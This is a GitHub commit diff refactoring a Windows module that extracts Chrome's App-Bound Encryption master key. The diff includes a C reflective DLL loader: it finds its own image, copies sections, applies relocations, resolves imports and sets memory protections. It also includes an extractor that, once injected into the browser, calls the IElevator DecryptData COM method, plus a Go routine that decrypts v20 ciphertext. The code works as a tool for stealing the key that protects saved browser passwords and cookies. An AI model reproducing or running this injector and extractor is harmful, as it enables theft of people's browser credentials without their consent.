refactor(windows): clean up Chrome ABE module (#574)

* refactor(abe): remove --abe-key flag and its global state
* refactor(abe): rework scratch protocol and Go/C structure
This commit is contained in:
Roger
2026-04-19 15:20:51 +08:00
committed by GitHub
parent c3d30b9e8a
commit 76e2615db2
26 changed files with 1159 additions and 354 deletions
+1 -1
View File
@@ -12,7 +12,7 @@ import (
//go:embed abe_extractor_amd64.bin
var abePayloadAmd64 []byte
func getPayloadForArch(arch string) ([]byte, error) {
func ABEPayload(arch string) ([]byte, error) {
switch arch {
case "amd64":
if len(abePayloadAmd64) == 0 {
-7
View File
@@ -1,7 +0,0 @@
//go:build !windows
package crypto
func SetABEMasterKeyFromHex(_ string) error { return nil }
func GetABEMasterKey() []byte { return nil }
+1 -1
View File
@@ -4,7 +4,7 @@ package crypto
import "fmt"
func getPayloadForArch(arch string) ([]byte, error) {
func ABEPayload(arch string) ([]byte, error) {
return nil, fmt.Errorf(
"abe: payload not embedded in this build (rebuild with -tags abe_embed; arch=%s)",
arch,
-46
View File
@@ -1,46 +0,0 @@
//go:build windows
package crypto
import (
"encoding/hex"
"fmt"
"sync"
)
var (
abeCLIKeyMu sync.RWMutex
abeCLIKey []byte
)
func SetABEMasterKeyFromHex(hexKey string) error {
if hexKey == "" {
return fmt.Errorf("abe: empty hex key")
}
b, err := hex.DecodeString(hexKey)
if err != nil {
return fmt.Errorf("abe: decode hex key: %w", err)
}
if len(b) != 32 {
return fmt.Errorf("abe: key must be 32 bytes (got %d)", len(b))
}
abeCLIKeyMu.Lock()
abeCLIKey = b
abeCLIKeyMu.Unlock()
return nil
}
func GetABEMasterKey() []byte {
abeCLIKeyMu.RLock()
defer abeCLIKeyMu.RUnlock()
if len(abeCLIKey) == 0 {
return nil
}
out := make([]byte, len(abeCLIKey))
copy(out, abeCLIKey)
return out
}
func ABEPayload(arch string) ([]byte, error) {
return getPayloadForArch(arch)
}
+21
View File
@@ -45,6 +45,27 @@ func DES3Decrypt(key, iv, ciphertext []byte) ([]byte, error) {
return cbcDecrypt(block, iv, ciphertext)
}
// gcmNonceSize is the AES-GCM standard nonce size used by Chromium's v10/v20
// cipher formats. Cross-platform because the v20 ciphertext layout is the
// same regardless of host OS (only Windows currently produces v20).
const gcmNonceSize = 12
// DecryptChromiumV20 decrypts a Chromium v20 (App-Bound Encryption) ciphertext.
// Format: "v20" prefix (3B) + nonce (12B) + AES-GCM(payload + 16B tag).
//
// Cross-platform: v20 is only produced by Chrome on Windows today, but the
// decryption math is platform-neutral. Keeping it here rather than in
// crypto_windows.go ensures the routing in browser/chromium/decrypt.go stays
// testable on Linux/macOS CI.
func DecryptChromiumV20(key, ciphertext []byte) ([]byte, error) {
if len(ciphertext) < versionPrefixLen+gcmNonceSize {
return nil, errShortCiphertext
}
nonce := ciphertext[versionPrefixLen : versionPrefixLen+gcmNonceSize]
payload := ciphertext[versionPrefixLen+gcmNonceSize:]
return AESGCMDecrypt(key, nonce, payload)
}
// AESGCMEncrypt encrypts data using AES-GCM mode.
func AESGCMEncrypt(key, nonce, plaintext []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
+2 -4
View File
@@ -8,10 +8,8 @@ import (
"unsafe"
)
const (
gcmNonceSize = 12 // AES-GCM standard nonce size
minGCMDataSize = versionPrefixLen + gcmNonceSize // "v10" + nonce = 15 bytes minimum
)
// gcmNonceSize is defined in crypto.go (cross-platform).
const minGCMDataSize = versionPrefixLen + gcmNonceSize // "v10" + nonce = 15 bytes minimum
func DecryptChromium(key, ciphertext []byte) ([]byte, error) {
if len(ciphertext) < minGCMDataSize {
+1 -6
View File
@@ -36,11 +36,6 @@ func (r *ABERetriever) RetrieveKey(storage, localStatePath string) ([]byte, erro
return nil, err
}
if cliKey := crypto.GetABEMasterKey(); len(cliKey) > 0 {
log.Debugf("abe: using --abe-key for %s", browserKey)
return cliKey, nil
}
payload, err := crypto.ABEPayload("amd64")
if err != nil {
return nil, fmt.Errorf("abe: %w", err)
@@ -63,7 +58,7 @@ func (r *ABERetriever) RetrieveKey(storage, localStatePath string) ([]byte, erro
if len(key) != 32 {
return nil, fmt.Errorf("abe: unexpected key length %d (want 32)", len(key))
}
log.Debugf("abe: retrieved %s master key via reflective injection", browserKey)
log.Infof("abe: retrieved %s master key via reflective injection", browserKey)
return key, nil
}
+23
View File
@@ -39,3 +39,26 @@ payload-verify: $(ABE_BIN)
payload-clean:
rm -f $(ABE_BIN_DIR)/abe_extractor_*.bin
# Scratch-layout codegen. The C header bootstrap_layout.h is the single
# source of truth; the Go constants in crypto/windows/abe_native/bootstrap
# are derived from it via cgo -godefs. We pin CC to zig for reproducible
# output across macOS / Linux / Windows hosts.
ABE_LAYOUT_PKG = $(ABE_SRC_DIR)/bootstrap
ABE_LAYOUT_GO = $(ABE_LAYOUT_PKG)/layout.go
.PHONY: gen-layout gen-layout-verify
# Split into two stages so a cgo failure doesn't silently produce an empty
# layout.go via `gofmt` on empty stdin. Write cgo output to a temp file first;
# only if that step succeeds do we format and publish.
gen-layout:
cd $(ABE_LAYOUT_PKG) && \
CC="$(ZIG) cc" $(GO) tool cgo -godefs layout_gen.go > layout.go.tmp && \
gofmt layout.go.tmp > layout.go && \
rm -f layout.go.tmp && \
rm -rf _obj
gen-layout-verify: gen-layout
@git diff --exit-code $(ABE_LAYOUT_GO) >/dev/null || \
(echo "layout.go is stale run 'make gen-layout' and commit"; exit 1)
+94 -36
View File
@@ -1,5 +1,3 @@
// SPDX-License-Identifier: Apache-2.0
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <objbase.h>
@@ -12,7 +10,17 @@
#define ENV_ENC_B64 "HBD_ABE_ENC_B64"
#define ENV_ENC_MAX 8192
typedef struct {
HRESULT hr; // last COM HRESULT (0 on success)
DWORD comErr; // IElevator.DecryptData out DWORD (0 on success / non-COM paths)
BYTE errCode; // ABE_ERR_* (ABE_ERR_OK on success)
BSTR plain; // 32-byte BSTR on success; NULL otherwise. Caller owns.
} extract_result;
static void DoExtractKey(BYTE *imageBase);
static extract_result extract_key_inner(const BrowserComIds *ids);
static void publish_key(BYTE *imageBase, const BYTE *plain);
static void publish_error(BYTE *imageBase, BYTE code, HRESULT hr, DWORD comErr);
static BOOL GetOwnExeBasename(char *buf, DWORD bufsize);
static BOOL Base64DecodeStack(const char *b64, BYTE *out_buf, DWORD *out_len);
static HRESULT CallDecryptDataBySlot(IUnknown *pObj, unsigned int vtblIndex,
@@ -29,58 +37,99 @@ BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
return TRUE;
}
// DoExtractKey is the orchestrator: it handles COM init/uninit, resolves the
// browser identity from the hosting exe, delegates the key-extraction work
// to extract_key_inner, and publishes either the master key or a structured
// error into the scratch region the Go injector reads.
static void DoExtractKey(BYTE *imageBase)
{
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
BOOL weInited = SUCCEEDED(hr);
HRESULT initHr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
BOOL weInited = SUCCEEDED(initHr);
char exeBasename[MAX_PATH];
if (!GetOwnExeBasename(exeBasename, (DWORD)sizeof(exeBasename))) {
goto cleanup_com;
publish_error(imageBase, ABE_ERR_BASENAME, 0, 0);
goto out;
}
const BrowserComIds *ids = LookupBrowserByExe(exeBasename);
if (!ids) {
goto cleanup_com;
publish_error(imageBase, ABE_ERR_BROWSER_UNKNOWN, 0, 0);
goto out;
}
extract_result r = extract_key_inner(ids);
if (r.errCode == ABE_ERR_OK && r.plain != NULL &&
SysStringByteLen(r.plain) == BOOTSTRAP_KEY_LEN) {
publish_key(imageBase, (const BYTE *)r.plain);
} else if (r.errCode == ABE_ERR_OK && r.plain != NULL) {
// COM call succeeded but returned wrong length.
publish_error(imageBase, ABE_ERR_KEY_LEN, r.hr, 0);
} else {
publish_error(imageBase, r.errCode, r.hr, r.comErr);
}
if (r.plain) {
SecureZeroMemory(r.plain, SysStringByteLen(r.plain));
SysFreeString(r.plain);
}
out:
if (weInited) {
CoUninitialize();
}
}
// extract_key_inner owns a single resource (bstrEnc) and uses early returns;
// successful exit hands the plaintext BSTR to the caller.
static extract_result extract_key_inner(const BrowserComIds *ids)
{
extract_result r = {0, 0, ABE_ERR_OK, NULL};
char envEnc[ENV_ENC_MAX];
DWORD envEncLen = GetEnvironmentVariableA(ENV_ENC_B64, envEnc, ENV_ENC_MAX);
if (envEncLen == 0 || envEncLen >= ENV_ENC_MAX) {
goto cleanup_com;
r.errCode = ABE_ERR_ENV_MISSING;
return r;
}
BYTE encKey[ENV_ENC_MAX];
DWORD encKeyLen = ENV_ENC_MAX;
if (!Base64DecodeStack(envEnc, encKey, &encKeyLen) || encKeyLen == 0) {
goto cleanup_com;
SecureZeroMemory(encKey, ENV_ENC_MAX);
SecureZeroMemory(envEnc, ENV_ENC_MAX);
r.errCode = ABE_ERR_BASE64;
return r;
}
BSTR bstrEnc = SysAllocStringByteLen((LPCSTR)encKey, encKeyLen);
SecureZeroMemory(encKey, ENV_ENC_MAX);
SecureZeroMemory(envEnc, ENV_ENC_MAX);
if (!bstrEnc) {
goto cleanup_com;
r.errCode = ABE_ERR_BSTR_ALLOC;
return r;
}
// IElevator2 is Chrome 144+; older vendors only implement v1.
// IElevator2 is Chrome 144+; older vendors only implement v1. Try v2
// first (when declared), fall back to v1.
IUnknown *pObj = NULL;
HRESULT hr = S_OK;
if (ids->has_iid_v2) {
hr = CoCreateInstance(&ids->clsid, NULL, CLSCTX_LOCAL_SERVER,
&ids->iid_v2, (void **)&pObj);
if (FAILED(hr)) {
pObj = NULL;
}
if (FAILED(hr)) pObj = NULL;
}
if (!pObj) {
hr = CoCreateInstance(&ids->clsid, NULL, CLSCTX_LOCAL_SERVER,
&ids->iid_v1, (void **)&pObj);
if (FAILED(hr)) {
pObj = NULL;
}
if (FAILED(hr)) pObj = NULL;
}
if (!pObj) {
goto free_enc;
SysFreeString(bstrEnc);
r.hr = hr;
r.errCode = ABE_ERR_COM_CREATE;
return r;
}
CoSetProxyBlanket(pObj,
@@ -95,28 +144,37 @@ static void DoExtractKey(BYTE *imageBase)
hr = CallDecryptDataBySlot(pObj, DecryptDataVtblIndex(ids->kind),
bstrEnc, &bstrPlain, &comErr);
pObj->lpVtbl->Release(pObj);
if (SUCCEEDED(hr) && bstrPlain) {
UINT plainLen = SysStringByteLen(bstrPlain);
if (plainLen == BOOTSTRAP_KEY_LEN) {
// Write key before status; Go reads key only after status==READY.
for (UINT i = 0; i < BOOTSTRAP_KEY_LEN; ++i) {
imageBase[BOOTSTRAP_KEY_OFFSET + i] = ((BYTE *)bstrPlain)[i];
}
MemoryBarrier();
imageBase[BOOTSTRAP_KEY_STATUS_OFFSET] = BOOTSTRAP_KEY_STATUS_READY;
}
SecureZeroMemory(bstrPlain, plainLen);
SysFreeString(bstrPlain);
}
free_enc:
SysFreeString(bstrEnc);
cleanup_com:
if (weInited) {
CoUninitialize();
if (FAILED(hr) || bstrPlain == NULL) {
r.hr = hr;
r.comErr = comErr;
r.errCode = ABE_ERR_DECRYPT_DATA;
return r;
}
r.hr = hr;
r.comErr = comErr;
r.errCode = ABE_ERR_OK;
r.plain = bstrPlain;
return r;
}
static void publish_key(BYTE *imageBase, const BYTE *plain)
{
// Write key before status; Go reads key only after status == READY.
for (UINT i = 0; i < BOOTSTRAP_KEY_LEN; ++i) {
imageBase[BOOTSTRAP_KEY_OFFSET + i] = plain[i];
}
MemoryBarrier();
imageBase[BOOTSTRAP_KEY_STATUS_OFFSET] = BOOTSTRAP_KEY_STATUS_READY;
}
static void publish_error(BYTE *imageBase, BYTE code, HRESULT hr, DWORD comErr)
{
*(volatile BYTE *)(imageBase + BOOTSTRAP_EXTRACT_ERR_CODE_OFFSET) = code;
*(volatile DWORD *)(imageBase + BOOTSTRAP_HRESULT_OFFSET) = (DWORD)hr;
*(volatile DWORD *)(imageBase + BOOTSTRAP_COMERR_OFFSET) = comErr;
}
static BOOL GetOwnExeBasename(char *buf, DWORD bufsize)
+170 -98
View File
@@ -1,5 +1,3 @@
// SPDX-License-Identifier: Apache-2.0
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stddef.h>
@@ -13,6 +11,14 @@ typedef BOOL (WINAPI *pfn_VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef LONG (NTAPI *pfn_NtFlushInstructionCache)(HANDLE, PVOID, ULONG);
typedef BOOL (WINAPI *pfn_DllMain)(HINSTANCE, DWORD, LPVOID);
typedef struct {
pfn_LoadLibraryA LoadLibraryA;
pfn_GetProcAddress GetProcAddress;
pfn_VirtualAlloc VirtualAlloc;
pfn_VirtualProtect VirtualProtect;
pfn_NtFlushInstructionCache NtFlushInstructionCache;
} resolved_imports;
#define MARK(imgBase, step) do { \
*(volatile BYTE *)((BYTE *)(imgBase) + BOOTSTRAP_MARKER_OFFSET) = (BYTE)(step); \
} while (0)
@@ -26,7 +32,10 @@ static __attribute__((noinline)) ULONG_PTR get_caller_ip(void)
return (ULONG_PTR)__builtin_return_address(0);
}
__declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter)
// locate_own_image_base walks backwards from the return IP of the calling
// frame until it hits a valid MZ/PE header. Must not be inlined (see
// get_caller_ip above).
static ULONG_PTR locate_own_image_base(void)
{
ULONG_PTR imageBase = get_caller_ip();
while (imageBase > 0) {
@@ -36,131 +45,155 @@ __declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter)
if (lfanew > 0 && lfanew < 0x1000) {
PIMAGE_NT_HEADERS64 nt =
(PIMAGE_NT_HEADERS64)(imageBase + (ULONG_PTR)lfanew);
if (nt->Signature == IMAGE_NT_SIGNATURE) break;
if (nt->Signature == IMAGE_NT_SIGNATURE) return imageBase;
}
}
imageBase--;
}
if (imageBase == 0) return 0;
MARK(imageBase, BOOTSTRAP_MARK_MZ_FOUND);
return 0;
}
pfn_LoadLibraryA pLoadLibraryA =
// read_preresolved_imports pulls the five function pointers the Go injector
// patched into the payload's DOS stub (see patchPreresolvedImports on the
// Go side). Returns FALSE if any slot is NULL — indicating a build-stub
// mismatch between C and Go.
static BOOL read_preresolved_imports(ULONG_PTR imageBase, resolved_imports *out)
{
out->LoadLibraryA =
*(pfn_LoadLibraryA *)(imageBase + BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET);
pfn_GetProcAddress pGetProcAddress =
out->GetProcAddress =
*(pfn_GetProcAddress *)(imageBase + BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET);
pfn_VirtualAlloc pVirtualAlloc =
out->VirtualAlloc =
*(pfn_VirtualAlloc *)(imageBase + BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET);
pfn_VirtualProtect pVirtualProtect =
out->VirtualProtect =
*(pfn_VirtualProtect *)(imageBase + BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET);
pfn_NtFlushInstructionCache pNtFlushIC =
out->NtFlushInstructionCache =
*(pfn_NtFlushInstructionCache *)(imageBase + BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET);
if (!pLoadLibraryA || !pGetProcAddress || !pVirtualAlloc ||
!pVirtualProtect || !pNtFlushIC) {
MARK(imageBase, BOOTSTRAP_MARK_ERR_IMPORTS);
return 0;
}
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_OK);
return out->LoadLibraryA && out->GetProcAddress && out->VirtualAlloc &&
out->VirtualProtect && out->NtFlushInstructionCache;
}
PIMAGE_DOS_HEADER oldDos = (PIMAGE_DOS_HEADER)imageBase;
PIMAGE_NT_HEADERS64 oldNt =
(PIMAGE_NT_HEADERS64)(imageBase + (ULONG_PTR)oldDos->e_lfanew);
// allocate_and_copy_image reserves a fresh RW region and copies the raw
// payload bytes (headers + every section) into it. Returns the new base
// plus a pointer to the NT headers within the new image, or NULL on
// VirtualAlloc failure.
static BYTE *allocate_and_copy_image(ULONG_PTR oldBase,
const resolved_imports *imp,
PIMAGE_NT_HEADERS64 *outNewNt)
{
PIMAGE_DOS_HEADER oldDos = (PIMAGE_DOS_HEADER)oldBase;
PIMAGE_NT_HEADERS64 oldNt =
(PIMAGE_NT_HEADERS64)(oldBase + (ULONG_PTR)oldDos->e_lfanew);
SIZE_T sizeOfImage = oldNt->OptionalHeader.SizeOfImage;
BYTE *newBase = (BYTE *)pVirtualAlloc(
BYTE *newBase = (BYTE *)imp->VirtualAlloc(
NULL, sizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!newBase) {
MARK(imageBase, BOOTSTRAP_MARK_ERR_ALLOC);
return 0;
}
MARK(imageBase, BOOTSTRAP_MARK_ALLOC_OK);
if (!newBase) return NULL;
BYTE *headerSrc = (BYTE *)imageBase;
BYTE *headerSrc = (BYTE *)oldBase;
DWORD headerSize = oldNt->OptionalHeader.SizeOfHeaders;
for (DWORD i = 0; i < headerSize; i++) {
newBase[i] = headerSrc[i];
}
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(oldNt);
for (WORD i = 0; i < oldNt->FileHeader.NumberOfSections; i++) {
BYTE *sSrc = (BYTE *)imageBase + sec[i].PointerToRawData;
BYTE *sSrc = (BYTE *)oldBase + sec[i].PointerToRawData;
BYTE *sDst = newBase + sec[i].VirtualAddress;
DWORD raw = sec[i].SizeOfRawData;
for (DWORD j = 0; j < raw; j++) {
sDst[j] = sSrc[j];
}
}
MARK(imageBase, BOOTSTRAP_MARK_COPIED);
PIMAGE_NT_HEADERS64 newNt =
*outNewNt =
(PIMAGE_NT_HEADERS64)(newBase + (ULONG_PTR)oldDos->e_lfanew);
return newBase;
}
// apply_base_relocations fixes up 64-bit absolute address references in
// the copied image if the new base differs from the preferred ImageBase.
static void apply_base_relocations(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt)
{
LONG_PTR delta = (LONG_PTR)newBase - (LONG_PTR)newNt->OptionalHeader.ImageBase;
DWORD relocSize = newNt->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
DWORD relocRva = newNt->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
if (delta != 0 && relocSize > 0 && relocRva > 0) {
PIMAGE_BASE_RELOCATION reloc =
(PIMAGE_BASE_RELOCATION)(newBase + relocRva);
DWORD consumed = 0;
while (reloc->VirtualAddress && consumed < relocSize) {
DWORD count =
(reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
WORD *entries =
(WORD *)((BYTE *)reloc + sizeof(IMAGE_BASE_RELOCATION));
for (DWORD j = 0; j < count; j++) {
WORD type = entries[j] >> 12;
WORD offset = entries[j] & 0x0FFF;
if (type == IMAGE_REL_BASED_DIR64) {
ULONG_PTR *target = (ULONG_PTR *)(newBase +
reloc->VirtualAddress + offset);
*target += (ULONG_PTR)delta;
}
}
consumed += reloc->SizeOfBlock;
reloc = (PIMAGE_BASE_RELOCATION)((BYTE *)reloc + reloc->SizeOfBlock);
}
}
MARK(imageBase, BOOTSTRAP_MARK_RELOCATED);
if (delta == 0 || relocSize == 0 || relocRva == 0) return;
PIMAGE_BASE_RELOCATION reloc =
(PIMAGE_BASE_RELOCATION)(newBase + relocRva);
DWORD consumed = 0;
while (reloc->VirtualAddress && consumed < relocSize) {
DWORD count =
(reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
WORD *entries =
(WORD *)((BYTE *)reloc + sizeof(IMAGE_BASE_RELOCATION));
for (DWORD j = 0; j < count; j++) {
WORD type = entries[j] >> 12;
WORD offset = entries[j] & 0x0FFF;
if (type == IMAGE_REL_BASED_DIR64) {
ULONG_PTR *target = (ULONG_PTR *)(newBase +
reloc->VirtualAddress + offset);
*target += (ULONG_PTR)delta;
}
}
consumed += reloc->SizeOfBlock;
reloc = (PIMAGE_BASE_RELOCATION)((BYTE *)reloc + reloc->SizeOfBlock);
}
}
// link_iat resolves the Import Address Table for each DLL the payload
// references, using the pre-resolved LoadLibraryA + GetProcAddress the
// Go injector patched in.
static void link_iat(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt,
const resolved_imports *imp)
{
DWORD impSize = newNt->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
DWORD impRva = newNt->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
if (impSize > 0 && impRva > 0) {
PIMAGE_IMPORT_DESCRIPTOR imp =
(PIMAGE_IMPORT_DESCRIPTOR)(newBase + impRva);
while (imp->Name) {
const char *modName = (const char *)(newBase + imp->Name);
HMODULE hMod = pLoadLibraryA(modName);
if (hMod) {
DWORD origRva = imp->OriginalFirstThunk
? imp->OriginalFirstThunk : imp->FirstThunk;
PIMAGE_THUNK_DATA origThunk =
(PIMAGE_THUNK_DATA)(newBase + origRva);
PIMAGE_THUNK_DATA thunk =
(PIMAGE_THUNK_DATA)(newBase + imp->FirstThunk);
while (origThunk->u1.AddressOfData) {
FARPROC fn;
if (IMAGE_SNAP_BY_ORDINAL(origThunk->u1.Ordinal)) {
fn = pGetProcAddress(hMod,
(LPCSTR)(origThunk->u1.Ordinal & 0xFFFF));
} else {
PIMAGE_IMPORT_BY_NAME ibn = (PIMAGE_IMPORT_BY_NAME)
(newBase + origThunk->u1.AddressOfData);
fn = pGetProcAddress(hMod, ibn->Name);
}
thunk->u1.Function = (ULONG_PTR)fn;
origThunk++;
thunk++;
}
}
imp++;
}
}
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_FIXED);
if (impSize == 0 || impRva == 0) return;
sec = IMAGE_FIRST_SECTION(newNt);
PIMAGE_IMPORT_DESCRIPTOR desc =
(PIMAGE_IMPORT_DESCRIPTOR)(newBase + impRva);
while (desc->Name) {
const char *modName = (const char *)(newBase + desc->Name);
HMODULE hMod = imp->LoadLibraryA(modName);
if (hMod) {
DWORD origRva = desc->OriginalFirstThunk
? desc->OriginalFirstThunk : desc->FirstThunk;
PIMAGE_THUNK_DATA origThunk =
(PIMAGE_THUNK_DATA)(newBase + origRva);
PIMAGE_THUNK_DATA thunk =
(PIMAGE_THUNK_DATA)(newBase + desc->FirstThunk);
while (origThunk->u1.AddressOfData) {
FARPROC fn;
if (IMAGE_SNAP_BY_ORDINAL(origThunk->u1.Ordinal)) {
fn = imp->GetProcAddress(hMod,
(LPCSTR)(origThunk->u1.Ordinal & 0xFFFF));
} else {
PIMAGE_IMPORT_BY_NAME ibn = (PIMAGE_IMPORT_BY_NAME)
(newBase + origThunk->u1.AddressOfData);
fn = imp->GetProcAddress(hMod, ibn->Name);
}
thunk->u1.Function = (ULONG_PTR)fn;
origThunk++;
thunk++;
}
}
desc++;
}
}
// set_section_protections applies final per-section memory protections
// (.text → RX, .rdata → R, .data → RW) based on IMAGE_SCN_MEM_* flags.
static void set_section_protections(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt,
const resolved_imports *imp)
{
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(newNt);
for (WORD i = 0; i < newNt->FileHeader.NumberOfSections; i++) {
DWORD newProtect = PAGE_READONLY;
DWORD ch = sec[i].Characteristics;
@@ -171,21 +204,60 @@ __declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter)
newProtect = PAGE_READWRITE;
}
DWORD oldProtect = 0;
pVirtualProtect(newBase + sec[i].VirtualAddress,
sec[i].Misc.VirtualSize,
newProtect, &oldProtect);
imp->VirtualProtect(newBase + sec[i].VirtualAddress,
sec[i].Misc.VirtualSize,
newProtect, &oldProtect);
}
MARK(imageBase, BOOTSTRAP_MARK_PERMISSIONS);
}
pNtFlushIC((HANDLE)-1, NULL, 0);
MARK(imageBase, BOOTSTRAP_MARK_CACHE_FLUSHED);
// lpReserved carries the original raw-image base so DllMain can write
// the decrypted key back into the scratch region the Go injector reads.
// invoke_dllmain calls the payload's DllMain with DLL_PROCESS_ATTACH.
// lpReserved carries the original raw-image base so DllMain (= the ABE
// extractor entry) can write the decrypted key back into the scratch
// region the Go injector reads.
static ULONG_PTR invoke_dllmain(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt,
ULONG_PTR scratchBase)
{
pfn_DllMain pDllMain =
(pfn_DllMain)(newBase + newNt->OptionalHeader.AddressOfEntryPoint);
pDllMain((HINSTANCE)newBase, DLL_PROCESS_ATTACH, (LPVOID)imageBase);
MARK(imageBase, BOOTSTRAP_MARK_DONE);
pDllMain((HINSTANCE)newBase, DLL_PROCESS_ATTACH, (LPVOID)scratchBase);
return (ULONG_PTR)newBase;
}
__declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter)
{
ULONG_PTR imageBase = locate_own_image_base();
if (imageBase == 0) return 0;
MARK(imageBase, BOOTSTRAP_MARK_MZ_FOUND);
resolved_imports imp;
if (!read_preresolved_imports(imageBase, &imp)) {
MARK(imageBase, BOOTSTRAP_MARK_ERR_IMPORTS);
return 0;
}
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_OK);
PIMAGE_NT_HEADERS64 newNt;
BYTE *newBase = allocate_and_copy_image(imageBase, &imp, &newNt);
if (!newBase) {
MARK(imageBase, BOOTSTRAP_MARK_ERR_ALLOC);
return 0;
}
MARK(imageBase, BOOTSTRAP_MARK_ALLOC_OK);
MARK(imageBase, BOOTSTRAP_MARK_COPIED);
apply_base_relocations(newBase, newNt);
MARK(imageBase, BOOTSTRAP_MARK_RELOCATED);
link_iat(newBase, newNt, &imp);
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_FIXED);
set_section_protections(newBase, newNt, &imp);
MARK(imageBase, BOOTSTRAP_MARK_PERMISSIONS);
imp.NtFlushInstructionCache((HANDLE)-1, NULL, 0);
MARK(imageBase, BOOTSTRAP_MARK_CACHE_FLUSHED);
ULONG_PTR result = invoke_dllmain(newBase, newNt, imageBase);
MARK(imageBase, BOOTSTRAP_MARK_DONE);
return result;
}
+1 -42
View File
@@ -1,50 +1,9 @@
// SPDX-License-Identifier: Apache-2.0
#ifndef HBD_ABE_BOOTSTRAP_H
#define HBD_ABE_BOOTSTRAP_H
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// Scratch layout inside imageBase (the raw-file payload region in the
// target process). Shared contract with the Go injector — keep the
// offsets and meanings in sync with utils/injector/reflective_windows.go.
//
// 0x28 step marker (written by Bootstrap)
// 0x29 key status (0x01 = ready, written by DllMain)
// 0x40..0x67 pre-Bootstrap: 5 pre-resolved Win32 fn pointers
// post-DllMain : 32-byte master key at 0x40..0x5F
//
// Windows' PE loader ignores the DOS stub region (0x40..0x77), and
// Bootstrap only reads the imports once at function start, so DllMain
// can safely overwrite 0x40..0x5F with the key afterwards.
#define BOOTSTRAP_MARKER_OFFSET 0x28
#define BOOTSTRAP_KEY_STATUS_OFFSET 0x29
#define BOOTSTRAP_KEY_STATUS_READY 0x01
#define BOOTSTRAP_KEY_OFFSET 0x40
#define BOOTSTRAP_KEY_LEN 32
#define BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET 0x40
#define BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET 0x48
#define BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET 0x50
#define BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET 0x58
#define BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET 0x60
#define BOOTSTRAP_MARK_MZ_FOUND 0x02
#define BOOTSTRAP_MARK_IMPORTS_OK 0x05
#define BOOTSTRAP_MARK_ALLOC_OK 0x06
#define BOOTSTRAP_MARK_COPIED 0x07
#define BOOTSTRAP_MARK_RELOCATED 0x08
#define BOOTSTRAP_MARK_IMPORTS_FIXED 0x09
#define BOOTSTRAP_MARK_PERMISSIONS 0x0A
#define BOOTSTRAP_MARK_CACHE_FLUSHED 0x0B
#define BOOTSTRAP_MARK_DONE 0xFF
#define BOOTSTRAP_MARK_ERR_IMPORTS 0xE3
#define BOOTSTRAP_MARK_ERR_ALLOC 0xE4
#include "bootstrap_layout.h"
#ifdef __cplusplus
extern "C" {
@@ -0,0 +1,43 @@
// Code generated by cmd/cgo -godefs; DO NOT EDIT.
// cgo -godefs layout_gen.go
package bootstrap
const (
MarkerOffset = 0x28
KeyStatusOffset = 0x29
KeyStatusReady = 0x1
ExtractErrCodeOffset = 0x2a
HResultOffset = 0x2c
ComErrOffset = 0x30
KeyOffset = 0x40
KeyLen = 0x20
ImpLoadLibraryAOffset = 0x40
ImpGetProcAddressOffset = 0x48
ImpVirtualAllocOffset = 0x50
ImpVirtualProtectOffset = 0x58
ImpNtFlushICOffset = 0x60
MarkMZFound = 0x2
MarkImportsOK = 0x5
MarkAllocOK = 0x6
MarkCopied = 0x7
MarkRelocated = 0x8
MarkImportsFixed = 0x9
MarkPermissions = 0xa
MarkCacheFlushed = 0xb
MarkDone = 0xff
MarkErrImports = 0xe3
MarkErrAlloc = 0xe4
ErrOk = 0x0
ErrBasename = 0x1
ErrBrowserUnknown = 0x2
ErrEnvMissing = 0x3
ErrBase64 = 0x4
ErrBstrAlloc = 0x5
ErrComCreate = 0x6
ErrDecryptData = 0x7
ErrKeyLen = 0x8
)
@@ -0,0 +1,50 @@
//go:build ignore
// Code generation entry for scratch layout constants shared between the
// C payload and the Go injector. Regenerate with `make gen-layout`.
package bootstrap
/*
#include "../bootstrap_layout.h"
*/
import "C"
const (
MarkerOffset = C.BOOTSTRAP_MARKER_OFFSET
KeyStatusOffset = C.BOOTSTRAP_KEY_STATUS_OFFSET
KeyStatusReady = C.BOOTSTRAP_KEY_STATUS_READY
ExtractErrCodeOffset = C.BOOTSTRAP_EXTRACT_ERR_CODE_OFFSET
